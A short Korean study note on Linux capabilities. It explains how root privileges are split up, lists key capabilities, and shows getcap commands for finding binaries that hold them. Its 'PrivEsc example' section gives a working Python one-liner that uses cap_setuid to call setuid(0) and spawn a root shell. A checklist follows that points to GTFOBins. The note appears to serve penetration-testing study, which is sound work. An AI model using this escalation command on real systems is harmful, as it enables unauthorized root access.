- 기존의 root 권한을 세분화한 보안 메커니즘. - 기존에는 UID가 0(=root)이라면 시스템의 모든 권한을 가졌지만, `Capabilities` 는 이 권한들을 작은 조각으로 나눠서 개별적으로 관리할 수 있도록 해준다. - 이를 통해 root가 아닌 사용자들도 특정 권한만 제한적으로 가질 수 있게 된다. # 주요 Capabilities |Capability 이름|설명| |---|---| |`CAP_SETUID`|다른 UID로 변경 가능| |`CAP_DAC_OVERRIDE`|파일 권한 무시 (모든 파일 읽기/쓰기 등 가능)| |`CAP_NET_RAW`|Raw socket 생성 가능 (네트워크 스니핑 등)| |`CAP_SYS_MODULE`|커널 모듈 삽입 가능 (거의 루트급 권한)| |`CAP_SYS_PTRACE`|다른 프로세스에 `ptrace` 사용 가능 (메모리/시스템 콜 조작)| |`CAP_SYS_ADMIN`|만능 열쇠에 가까움. 마운트, 네트워크, 리소스 제한 등 가능| # Capabilities가 설정된 파일 찾기 ```bash # 전체 시스템 탐색 getcap -r / 2>/dev/null # 예시 결과 /usr/bin/python3.8 = cap_setuid+ep /usr/bin/ping = cap_net_raw+ep # 특정 파일의 capabilities 확인 getcap /usr/bin/python3.8 ``` # Capabilities를 활용한 PrivEsc 예시 ```bash # 예시) cap_setuid+ep가 있는 Python /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")' ``` # 체크리스트 - `getcap -r /` 로 권한 있는 실행 파일 확인 - 파일이 python, perl, tar, bash 같이 임의 코드 실행 가능한 프로그램인지 확인 - GTFOBins에서 해당 바이너리로 권한 상승 가능한지 조사